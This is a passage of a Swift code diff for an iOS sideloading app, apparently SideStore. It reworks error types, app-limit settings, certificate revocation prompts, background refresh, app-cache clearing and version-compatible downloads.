AppManager.shared.log(OperationError.tooNewError, operation: .enableJIT, app: installedApp)
return
}
AppManager.shared.enableJIT(for: installedApp) { result in
DispatchQueue.main.async {
switch result
{
case .success: break
case .failure(let error):
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
AppManager.shared.log(error, operation: .enableJIT, app: installedApp)
}
}
}
@@ -1404,7 +1358,7 @@ extension MyAppsViewController
headerView.layoutMargins.left = self.view.layoutMargins.left
headerView.layoutMargins.right = self.view.layoutMargins.right
if UserDefaults.standard.activeAppsLimit == nil
if UserDefaults.standard.activeAppsLimit == nil || UserDefaults.standard.isAppLimitDisabled
{
headerView.textLabel.text = NSLocalizedString("Installed", comment: "")
}
@@ -1465,7 +1419,7 @@ extension MyAppsViewController
let registeredAppIDs = team.appIDs.count
let maximumAppIDCount = 10
let remainingAppIDs = max(maximumAppIDCount - registeredAppIDs, 0)
let remainingAppIDs = maximumAppIDCount - registeredAppIDs
if remainingAppIDs == 1
{
@@ -1476,7 +1430,7 @@ extension MyAppsViewController
footerView.textLabel.text = String(format: NSLocalizedString("%@ App IDs Remaining", comment: ""), NSNumber(value: remainingAppIDs))
}
footerView.textLabel.isHidden = false
footerView.textLabel.isHidden = remainingAppIDs < 0
case .individual, .organization, .unknown: footerView.textLabel.isHidden = true
@unknown default: break
@@ -1803,7 +1757,7 @@ extension MyAppsViewController: UICollectionViewDragDelegate
return []
case .activeApps, .inactiveApps:
guard UserDefaults.standard.activeAppsLimit != nil else { return [] }
guard UserDefaults.standard.activeAppsLimit != nil && !UserDefaults.standard.isAppLimitDisabled else { return [] }
guard let cell = collectionView.cellForItem(at: indexPath as IndexPath) as? InstalledAppCollectionViewCell else { return [] }
let item = self.dataSource.item(at: indexPath)
@@ -1858,6 +1812,7 @@ extension MyAppsViewController: UICollectionViewDropDelegate
func collectionView(_ collectionView: UICollectionView, dropSessionDidUpdate session: UIDropSession, withDestinationIndexPath destinationIndexPath: IndexPath?) -> UICollectionViewDropProposal
{
guard
!UserDefaults.standard.isAppLimitDisabled,
let activeAppsLimit = UserDefaults.standard.activeAppsLimit,
let installedApp = session.items.first?.localObject as? InstalledApp
else { return UICollectionViewDropProposal(operation: .cancel) }
@@ -2050,15 +2005,8 @@ extension MyAppsViewController: UIDocumentPickerDelegate
{
guard let fileURL = urls.first else { return }
switch controller.documentPickerMode
{
case .import, .open:
self.sideloadApp(at: fileURL) { (result) in
print("Sideloaded app at \(fileURL) with result:", result)
}
case .exportToService, .moveToService: break
@unknown default: break
self.sideloadApp(at: fileURL) { (result) in
print("Sideloaded app at \(fileURL) with result:", result)
}
}
}

View File

@@ -313,9 +313,8 @@ private extension NewsViewController
{
case .failure(OperationError.cancelled): break // Ignore
case .failure(let error):
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
case .success: print("Installed app:", storeApp.bundleIdentifier)
}
@@ -391,9 +390,9 @@ extension NewsViewController
let progress = AppManager.shared.installationProgress(for: storeApp)
footerView.bannerView.button.progress = progress
if let versionDate = storeApp.latestVersion?.date, versionDate > Date()
if let versionDate = storeApp.latestSupportedVersion?.date, versionDate > Date()
{
footerView.bannerView.button.countdownDate = storeApp.versionDate
footerView.bannerView.button.countdownDate = versionDate
}
else
{
@@ -426,6 +425,10 @@ extension NewsViewController: UICollectionViewDelegateFlowLayout
return previousSize
}
// Take layout margins into account.
self.prototypeCell.layoutMargins.left = self.view.layoutMargins.left
self.prototypeCell.layoutMargins.right = self.view.layoutMargins.right
let widthConstraint = self.prototypeCell.contentView.widthAnchor.constraint(equalToConstant: collectionView.bounds.width)
NSLayoutConstraint.activate([widthConstraint])
defer { NSLayoutConstraint.deactivate([widthConstraint]) }

View File

@@ -7,14 +7,15 @@
//
import Foundation
import SwiftUI
import Roxas
import Network
import AltStoreCore
import AltSign
import minimuxer
enum AuthenticationError: LocalizedError
typealias AuthenticationError = AuthenticationErrorCode.Error
enum AuthenticationErrorCode: Int, ALTErrorEnum, CaseIterable
{
case noTeam
case noCertificate
@@ -23,11 +24,11 @@ enum AuthenticationError: LocalizedError
case missingPrivateKey
case missingCertificate
var errorDescription: String? {
var errorFailureReason: String {
switch self {
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
case .noTeam: return NSLocalizedString("Your Apple ID has no developer teams?", comment: "")
case .noCertificate: return NSLocalizedString("The developer certificate could not be found.", comment: "")
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
case .missingPrivateKey: return NSLocalizedString("The certificate's private key could not be found.", comment: "")
case .missingCertificate: return NSLocalizedString("The certificate could not be found.", comment: "")
}
@@ -40,7 +41,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
let context: AuthenticatedOperationContext
private weak var presentingViewController: UIViewController?
private lazy var navigationController: UINavigationController = {
let navigationController = self.storyboard.instantiateViewController(withIdentifier: "navigationController") as! UINavigationController
if #available(iOS 13.0, *)
@@ -49,7 +50,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
}
return navigationController
}()
private lazy var storyboard = UIStoryboard(name: "Authentication", bundle: nil)
private var appleIDEmailAddress: String?
@@ -213,8 +214,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
guard
let account = Account.first(satisfying: NSPredicate(format: "%K == %@", #keyPath(Account.identifier), altTeam.account.identifier), in: context),
let team = Team.first(satisfying: NSPredicate(format: "%K == %@", #keyPath(Team.identifier), altTeam.identifier), in: context)
else { throw AuthenticationError.noTeam }
else { throw AuthenticationError(.noTeam) }
// Account
account.isActiveAccount = true
@@ -240,12 +241,11 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
}
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
{
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
}
else
{
if team.type == .free, !UserDefaults.standard.isAppLimitDisabled, ProcessInfo().sparseRestorePatched {
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
} else if UserDefaults.standard.isAppLimitDisabled, !ProcessInfo().sparseRestorePatched {
UserDefaults.standard.activeAppsLimit = 10
} else {
UserDefaults.standard.activeAppsLimit = nil
}
@@ -267,11 +267,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
super.finish(result)
DispatchQueue.main.async {
if UnstableFeatures.enabled(.swiftUI) {
self.dismiss()
} else {
self.navigationController.dismiss(animated: true, completion: nil)
}
self.navigationController.dismiss(animated: true, completion: nil)
}
}
}
@@ -281,11 +277,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
super.finish(result)
DispatchQueue.main.async {
if UnstableFeatures.enabled(.swiftUI) {
self.dismiss()
} else {
self.navigationController.dismiss(animated: true, completion: nil)
}
self.navigationController.dismiss(animated: true, completion: nil)
}
}
}
@@ -296,36 +288,25 @@ private extension AuthenticationOperation
{
func present(_ viewController: UIViewController) -> Bool
{
if UnstableFeatures.enabled(.swiftUI) {
UIApplication.topController?.present(viewController, animated: true)
} else {
guard let presentingViewController = self.presentingViewController else { return false }
guard let presentingViewController = self.presentingViewController else { return false }
self.navigationController.view.tintColor = .white
if self.navigationController.viewControllers.isEmpty
{
guard presentingViewController.presentedViewController == nil else { return false }
self.navigationController.view.tintColor = .white
if self.navigationController.viewControllers.isEmpty
{
guard presentingViewController.presentedViewController == nil else { return false }
self.navigationController.setViewControllers([viewController], animated: false)
presentingViewController.present(self.navigationController, animated: true, completion: nil)
}
else
{
viewController.navigationItem.leftBarButtonItem = nil
self.navigationController.pushViewController(viewController, animated: true)
}
self.navigationController.setViewControllers([viewController], animated: false)
presentingViewController.present(self.navigationController, animated: true, completion: nil)
}
else
{
viewController.navigationItem.leftBarButtonItem = nil
self.navigationController.pushViewController(viewController, animated: true)
}
return true
}
func dismiss() {
if let presentingViewController {
presentingViewController.dismiss(animated: true)
}
// UIApplication.topController?.dismiss(animated: true)
}
}
private extension AuthenticationOperation
@@ -335,55 +316,29 @@ private extension AuthenticationOperation
func authenticate()
{
DispatchQueue.main.async {
let viewController: UIViewController
if UnstableFeatures.enabled(.swiftUI) {
viewController = UIHostingController(rootView: NavigationView {
ConnectAppleIDView { appleID, password, completionHandler in
self.authenticate(appleID: appleID, password: password) { (result) in
completionHandler(result)
}
} completionHandler: { result in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
// In this case, we'll assume we should show the instructions again.
self.shouldShowInstructions = true
self.appleIDPassword = password
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(OperationError.cancelled))
}
}
}.navigationViewStyle(StackNavigationViewStyle()))
} else {
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
self.authenticate(appleID: appleID, password: password) { (result) in
completionHandler(result)
}
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
self.authenticate(appleID: appleID, password: password) { (result) in
completionHandler(result)
}
authenticationViewController.completionHandler = { (result) in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
// In this case, we'll assume we should show the instructions again.
self.shouldShowInstructions = true
self.appleIDPassword = password
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(OperationError.cancelled))
}
}
authenticationViewController.completionHandler = { (result) in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
// In this case, we'll assume we should show the instructions again.
self.shouldShowInstructions = true
self.appleIDPassword = password
completionHandler(.success((account, session)))
}
else
{
completionHandler(.failure(OperationError.cancelled))
}
viewController = authenticationViewController
}
if !self.present(viewController)
if !self.present(authenticationViewController)
{
completionHandler(.failure(OperationError.notAuthenticated))
}
@@ -425,34 +380,49 @@ private extension AuthenticationOperation
case .success(let anisetteData):
let verificationHandler: ((@escaping (String?) -> Void) -> Void)?
verificationHandler = { (completionHandler) in
DispatchQueue.main.async {
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
alertController.addTextField { (textField) in
textField.autocorrectionType = .no
textField.autocapitalizationType = .none
textField.keyboardType = .numberPad
if let presentingViewController = self.presentingViewController
{
verificationHandler = { (completionHandler) in
DispatchQueue.main.async {
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
alertController.addTextField { (textField) in
textField.autocorrectionType = .no
textField.autocapitalizationType = .none
textField.keyboardType = .numberPad
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
}
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
}
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
let textField = alertController.textFields?.first
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
let textField = alertController.textFields?.first
let code = textField?.text ?? ""
completionHandler(code)
}
submitAction.isEnabled = false
alertController.addAction(submitAction)
self.submitCodeAction = submitAction
let code = textField?.text ?? ""
completionHandler(code)
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
completionHandler(nil)
})
if self.navigationController.presentingViewController != nil
{
self.navigationController.present(alertController, animated: true, completion: nil)
}
else
{
presentingViewController.present(alertController, animated: true, completion: nil)
}
}
submitAction.isEnabled = false
alertController.addAction(submitAction)
self.submitCodeAction = submitAction
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
completionHandler(nil)
})
UIApplication.topController?.present(alertController, animated: true, completion: nil)
}
}
else
{
// No view controller to present security code alert, so don't provide verificationHandler.
verificationHandler = nil
}
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
verificationHandler: verificationHandler) { (account, session, error) in
@@ -462,7 +432,7 @@ private extension AuthenticationOperation
}
else
{
completionHandler(.failure(error ?? OperationError.unknown))
completionHandler(.failure(error ?? OperationError.unknown()))
}
}
}
@@ -479,20 +449,18 @@ private extension AuthenticationOperation
if let team = teams.first {
return completionHandler(.success(team))
} else {
return completionHandler(.failure(AuthenticationError.noTeam))
return completionHandler(.failure(AuthenticationError(.noTeam)))
}
} else {
DispatchQueue.main.async {
if !UnstableFeatures.enabled(.swiftUI) {
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
selectTeamViewController.teams = teams
selectTeamViewController.completionHandler = completionHandler
if !self.present(selectTeamViewController)
{
return completionHandler(.failure(AuthenticationError.noTeam))
}
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
selectTeamViewController.teams = teams
selectTeamViewController.completionHandler = completionHandler
if !self.present(selectTeamViewController)
{
return completionHandler(.failure(AuthenticationError(.noTeam)))
}
}
}
@@ -521,20 +489,20 @@ private extension AuthenticationOperation
{
func requestCertificate()
{
let machineName = "AltStore - " + UIDevice.current.name
let machineName: String = "SideStore - \(team.account.firstName)'s \(UIDevice.current.name)"
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in
do
{
let certificate = try Result(certificate, error).get()
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
guard let privateKey = certificate.privateKey else { throw AuthenticationError(.missingPrivateKey) }
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
do
{
let certificates = try Result(certificates, error).get()
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
throw AuthenticationError.missingCertificate
throw AuthenticationError(.missingCertificate)
}
certificate.privateKey = privateKey
@@ -555,16 +523,50 @@ private extension AuthenticationOperation
func replaceCertificate(from certificates: [ALTCertificate])
{
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
let ourCertificates = certificates.filter { a in
a.machineName?.starts(with: "SideStore") == true || a.machineName?.starts(with: "AltStore") == true
}
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
if let error = error, !success
if ourCertificates.isEmpty {
return requestCertificate()
}
// We don't have private keys for any of the certificates,
// so we need to revoke one and create a new one.
var certsText = ""
for certificate in ourCertificates {
if let name = certificate.machineName {
certsText.append("\(name)\n")
}
}
let alertController = UIAlertController(title: NSLocalizedString("Would you like to revoke your previous certificates?\n\(certsText)", comment: ""), message: nil, preferredStyle: .alert)
let noAction = UIAlertAction(title: NSLocalizedString("No", comment: ""), style: .default) { (action) in
requestCertificate()
}
let yesAction = UIAlertAction(title: NSLocalizedString("Yes", comment: ""), style: .default) { (action) in
for certificate in ourCertificates {
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
if let error = error, !success
{
completionHandler(.failure(error))
}
}
}
requestCertificate()
}
alertController.addAction(noAction)
alertController.addAction(yesAction)
DispatchQueue.main.async {
if self.navigationController.presentingViewController != nil
{
completionHandler(.failure(error))
self.navigationController.present(alertController, animated: true, completion: nil)
}
else
{
requestCertificate()
self.presentingViewController?.present(alertController, animated: true, completion: nil)
}
}
}
@@ -612,8 +614,6 @@ private extension AuthenticationOperation
}
else
{
// We don't have private keys for any of the certificates,
// so we need to revoke one and create a new one.
replaceCertificate(from: certificates)
}
}
@@ -626,7 +626,7 @@ private extension AuthenticationOperation
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
{
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
guard let udid = fetch_udid()?.toString() else {
return completionHandler(.failure(OperationError.unknownUDID))
}
@@ -675,22 +675,18 @@ private extension AuthenticationOperation
func showInstructionsIfNecessary(completionHandler: @escaping (Bool) -> Void)
{
if UnstableFeatures.enabled(.swiftUI) {
return completionHandler(false)
} else {
guard self.shouldShowInstructions else { return completionHandler(false) }
guard self.shouldShowInstructions else { return completionHandler(false) }
DispatchQueue.main.async {
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
instructionsViewController.showsBottomButton = true
instructionsViewController.completionHandler = {
completionHandler(true)
}
DispatchQueue.main.async {
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
instructionsViewController.showsBottomButton = true
instructionsViewController.completionHandler = {
completionHandler(true)
}
if !self.present(instructionsViewController)
{
completionHandler(false)
}
if !self.present(instructionsViewController)
{
completionHandler(false)
}
}
}

View File

@@ -13,11 +13,12 @@ import AltStoreCore
import EmotionalDamage
import minimuxer
enum RefreshError: LocalizedError
typealias RefreshError = RefreshErrorCode.Error
enum RefreshErrorCode: Int, ALTErrorEnum, CaseIterable
{
case noInstalledApps
var errorDescription: String? {
var errorFailureReason: String {
switch self
{
case .noInstalledApps: return NSLocalizedString("No active apps require refreshing.", comment: "")
@@ -94,7 +95,7 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
super.main()
guard !self.installedApps.isEmpty else {
self.finish(.failure(RefreshError.noInstalledApps))
self.finish(.failure(RefreshError(.noInstalledApps)))
return
}
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
@@ -105,8 +106,12 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
} catch {
self.finish(.failure(error))
}
start_auto_mounter(documentsDirectory)
if #available(iOS 17, *) {
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
} else {
start_auto_mounter(documentsDirectory)
}
self.managedObjectContext.perform {
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
@@ -198,7 +203,7 @@ private extension BackgroundRefreshAppsOperation
let content = UNMutableNotificationContent()
var shouldPresentAlert = false
var shouldPresentAlert = true
do
{
@@ -214,20 +219,18 @@ private extension BackgroundRefreshAppsOperation
content.title = NSLocalizedString("Refreshed Apps", comment: "")
content.body = NSLocalizedString("All apps have been refreshed.", comment: "")
}
catch RefreshError.noInstalledApps
catch ~OperationError.Code.noWiFi, ~RefreshErrorCode.noInstalledApps
{
shouldPresentAlert = false
}
catch
{
print("Failed to refresh apps in background.", error)
content.title = NSLocalizedString("Failed to Refresh Apps", comment: "")
content.body = error.localizedDescription
shouldPresentAlert = false
}
if shouldPresentAlert
{
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: delay + 1, repeats: false)

View File

@@ -29,6 +29,9 @@ class BackupAppOperation: ResultOperation<Void>
private var appName: String?
private var timeoutTimer: Timer?
private weak var applicationWillReturnObserver: NSObjectProtocol?
private weak var backupResponseObserver: NSObjectProtocol?
init(action: Action, context: InstallAppOperationContext)
{
self.action = action
@@ -43,25 +46,26 @@ class BackupAppOperation: ResultOperation<Void>
do
{
if let error = self.context.error
{
throw error
}
if let error = self.context.error { throw error }
guard let installedApp = self.context.installedApp, let context = installedApp.managedObjectContext else { throw OperationError.invalidParameters }
guard let installedApp = self.context.installedApp, let context = installedApp.managedObjectContext else {
throw OperationError.invalidParameters("BackupAppOperation.main: self.context.installedApp or installedApp.managedObjectContext is nil")
}
context.perform {
do
{
let appName = installedApp.name
self.appName = appName
guard let altstoreApp = InstalledApp.fetchAltStore(in: context) else { throw OperationError.appNotFound }
guard let altstoreApp = InstalledApp.fetchAltStore(in: context) else {
throw OperationError.appNotFound(name: appName)
}
let altstoreOpenURL = altstoreApp.openAppURL
var returnURLComponents = URLComponents(url: altstoreOpenURL, resolvingAgainstBaseURL: false)
returnURLComponents?.host = "appBackupResponse"
guard let returnURL = returnURLComponents?.url else { throw OperationError.openAppFailed(name: appName) }
var openURLComponents = URLComponents()
openURLComponents.scheme = installedApp.openAppURL.scheme
openURLComponents.host = self.action.rawValue
@@ -153,8 +157,11 @@ private extension BackupAppOperation
{
func registerObservers()
{
var applicationWillReturnObserver: NSObjectProtocol!
applicationWillReturnObserver = NotificationCenter.default.addObserver(forName: UIApplication.willEnterForegroundNotification, object: nil, queue: .main) { [weak self] (notification) in
self.applicationWillReturnObserver = NotificationCenter.default.addObserver(forName: UIApplication.willEnterForegroundNotification, object: nil, queue: .main) { [weak self] (notification) in
defer {
self?.applicationWillReturnObserver.map { NotificationCenter.default.removeObserver($0) }
}
guard let self = self, !self.isFinished else { return }
self.timeoutTimer = Timer.scheduledTimer(withTimeInterval: 5, repeats: false) { [weak self] (timer) in
@@ -166,18 +173,17 @@ private extension BackupAppOperation
self.finish(.failure(OperationError.timedOut))
}
}
NotificationCenter.default.removeObserver(applicationWillReturnObserver!)
}
var backupResponseObserver: NSObjectProtocol!
backupResponseObserver = NotificationCenter.default.addObserver(forName: AppDelegate.appBackupDidFinish, object: nil, queue: nil) { [weak self] (notification) in
self.backupResponseObserver = NotificationCenter.default.addObserver(forName: AppDelegate.appBackupDidFinish, object: nil, queue: nil) { [weak self] (notification) in
defer {
self?.backupResponseObserver.map { NotificationCenter.default.removeObserver($0) }
}
self?.timeoutTimer?.invalidate()
let result = notification.userInfo?[AppDelegate.appBackupResultKey] as? Result<Void, Error> ?? .failure(OperationError.unknownResult)
self?.finish(result)
NotificationCenter.default.removeObserver(backupResponseObserver!)
}
}
}

View File

@@ -0,0 +1,208 @@
//
// ClearAppCacheOperation.swift
// AltStore
//
// Created by Riley Testut on 9/27/22.
// Copyright © 2022 Riley Testut. All rights reserved.
//
import Foundation
import AltStoreCore
/*
struct BatchError: ALTLocalizedError
{
enum Code: Int, ALTErrorCode
{
typealias Error = BatchError
case batchError
}
var code: Code = .batchError
var underlyingErrors: [Error]
var errorTitle: String?
var errorFailure: String?
init(errors: [Error])
{
self.underlyingErrors = errors
}
var errorFailureReason: String {
guard !self.underlyingErrors.isEmpty else { return NSLocalizedString("An unknown error occured.", comment: "") }
let errorMessages = self.underlyingErrors.map { $0.localizedDescription }
let message = errorMessages.joined(separator: "\n\n")
return message
}
}
*/
@objc(ClearAppCacheOperation)
class ClearAppCacheOperation: ResultOperation<Void>
{
private let coordinator = NSFileCoordinator()
private let coordinatorQueue = OperationQueue()
override init()
{
self.coordinatorQueue.name = "AltStore - ClearAppCacheOperation Queue"
}
override func main()
{
super.main()
var allErrors = [Error]()
self.clearTemporaryDirectory { result in
switch result
{
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
case .failure(let error): allErrors.append(error)
case .success: break
}
self.removeUninstalledAppBackupDirectories { result in
switch result
{
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
case .failure(let error): allErrors.append(error)
case .success: break
}
if allErrors.isEmpty
{
self.finish(.success(()))
}
else
{
self.finish(.failure(OperationError.cacheClearError(errors: allErrors.map({ error in
return error.localizedDescription
}))))
}
}
}
}
}
private extension ClearAppCacheOperation
{
func clearTemporaryDirectory(completion: @escaping (Result<Void, Error>) -> Void)
{
let intent = NSFileAccessIntent.writingIntent(with: FileManager.default.temporaryDirectory, options: [.forDeleting])
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
do
{
if let error
{
throw error
}
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
includingPropertiesForKeys: [],
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
var errors = [Error]()
for fileURL in fileURLs
{
do
{
print("[ALTLog] Removing item from temporary directory:", fileURL.lastPathComponent)
try FileManager.default.removeItem(at: fileURL)
}
catch
{
print("[ALTLog] Failed to remove \(fileURL.lastPathComponent) from temporary directory.", error)
errors.append(error)
}
}
if !errors.isEmpty
{
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
return error.localizedDescription
}))))
}
else
{
completion(.success(()))
}
}
catch
{
completion(.failure(error))
}
}
}
func removeUninstalledAppBackupDirectories(completion: @escaping (Result<Void, Error>) -> Void)
{
guard let backupsDirectory = FileManager.default.appBackupsDirectory else { return completion(.failure(OperationError.missingAppGroup)) }
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
let installedAppBundleIDs = Set(InstalledApp.all(in: context).map { $0.bundleIdentifier })
let intent = NSFileAccessIntent.writingIntent(with: backupsDirectory, options: [.forDeleting])
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
do
{
if let error
{
throw error
}
var isDirectory: ObjCBool = false
guard FileManager.default.fileExists(atPath: intent.url.path, isDirectory: &isDirectory), isDirectory.boolValue else {
completion(.success(()))
return
}
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
includingPropertiesForKeys: [.isDirectoryKey, .nameKey],
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
var errors = [Error]()
for backupDirectory in fileURLs
{
do
{
let resourceValues = try backupDirectory.resourceValues(forKeys: [.isDirectoryKey, .nameKey])
guard let isDirectory = resourceValues.isDirectory, let bundleID = resourceValues.name else { continue }
if isDirectory && !installedAppBundleIDs.contains(bundleID) && !AppManager.shared.isActivelyManagingApp(withBundleID: bundleID)
{
print("[ALTLog] Removing backup directory for uninstalled app:", bundleID)
try FileManager.default.removeItem(at: backupDirectory)
}
}
catch
{
print("[ALTLog] Failed to remove app backup directory:", error)
errors.append(error)
}
}
if !errors.isEmpty
{
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
return error.localizedDescription
}))))
}
else
{
completion(.success(()))
}
}
catch
{
print("[ALTLog] Failed to remove app backup directory:", error)
completion(.failure(error))
}
}
}
}
}

View File

@@ -31,11 +31,7 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
{
super.main()
if let error = self.context.error
{
self.finish(.failure(error))
return
}
if let error = self.context.error { return self.finish(.failure(error)) }
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
let installedApp = context.object(with: self.app.objectID) as! InstalledApp
@@ -45,14 +41,14 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
for profile in allIdentifiers {
do {
try remove_provisioning_profile(profile)
self.progress.completedUnitCount += 1
installedApp.isActive = false
self.finish(.success(installedApp))
break
} catch {
return self.finish(.failure(error))
self.finish(.failure(error))
}
}
self.progress.completedUnitCount += 1
installedApp.isActive = false
self.finish(.success(installedApp))
}
}
}

View File

@@ -12,66 +12,110 @@ import Roxas
import AltStoreCore
import AltSign
private extension DownloadAppOperation
{
struct DependencyError: ALTLocalizedError
{
let dependency: Dependency
let error: Error
var failure: String? {
return String(format: NSLocalizedString("Could not download “%@”.", comment: ""), self.dependency.preferredFilename)
}
var underlyingError: Error? {
return self.error
}
}
}
@objc(DownloadAppOperation)
final class DownloadAppOperation: ResultOperation<ALTApplication>
{
let app: AppProtocol
let context: AppOperationContext
private let appName: String
private let bundleIdentifier: String
private var sourceURL: URL?
private let destinationURL: URL
private let session = URLSession(configuration: .default)
private let temporaryDirectory = FileManager.default.uniqueTemporaryURL()
init(app: AppProtocol, destinationURL: URL, context: AppOperationContext)
{
self.app = app
self.context = context
self.appName = app.name
self.bundleIdentifier = app.bundleIdentifier
self.sourceURL = app.url
self.destinationURL = destinationURL
super.init()
// App = 3, Dependencies = 1
self.progress.totalUnitCount = 4
}
override func main()
{
super.main()
if let error = self.context.error
{
self.finish(.failure(error))
return
}
print("Downloading App:", self.bundleIdentifier)
guard let sourceURL = self.sourceURL else { return self.finish(.failure(OperationError.appNotFound)) }
self.downloadApp(from: sourceURL) { result in
self.localizedFailure = String(format: NSLocalizedString("%@ could not be downloaded.", comment: ""), self.appName)
guard let storeApp = self.app as? StoreApp else { return self.download(self.app) }
storeApp.managedObjectContext?.perform {
do {
let latestVersion = try self.verify(storeApp)
self.download(latestVersion)
} catch let error as VerificationError where error.code == .iOSVersionNotSupported {
guard let presentingViewController = self.context.presentingViewController,
let latestSupportedVersion = storeApp.latestSupportedVersion,
case let version = latestSupportedVersion.version,
version != storeApp.installedApp?.version else {
return self.finish(.failure(error))
}
let title = NSLocalizedString("Unsupported iOS Version", comment: "")
let message = error.localizedDescription + "\n\n" + NSLocalizedString("Would you like to download the last version compatible with this device instead?", comment: "")
DispatchQueue.main.async {
let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style) { _ in
self.finish(.failure(OperationError.cancelled))
})
alertController.addAction(UIAlertAction(title: String(format: NSLocalizedString("Download %@ %@", comment: ""), self.appName, version), style: .default) { _ in
self.download(latestSupportedVersion)
})
presentingViewController.present(alertController, animated: true)
}
} catch {
self.finish(.failure(error))
}
}
}
override func finish(_ result: Result<ALTApplication, any Error>) {
do {
try FileManager.default.removeItem(at: self.temporaryDirectory)
} catch {
print("Failed to remove DownloadAppOperation temporary directory: \(self.temporaryDirectory).", error)
}
super.finish(result)
}
}
private extension DownloadAppOperation {
func verify(_ storeApp: StoreApp) throws -> AppVersion {
guard let version = storeApp.latestAvailableVersion else {
let failureReason = String(format: NSLocalizedString("The latest version of %@ could not be determined.", comment: ""), self.appName)
throw OperationError.unknown(failureReason: failureReason)
}
if let minOSVersion = version.minOSVersion, !ProcessInfo.processInfo.isOperatingSystemAtLeast(minOSVersion) {
throw VerificationError.iOSVersionNotSupported(app: storeApp, requiredOSVersion: minOSVersion)
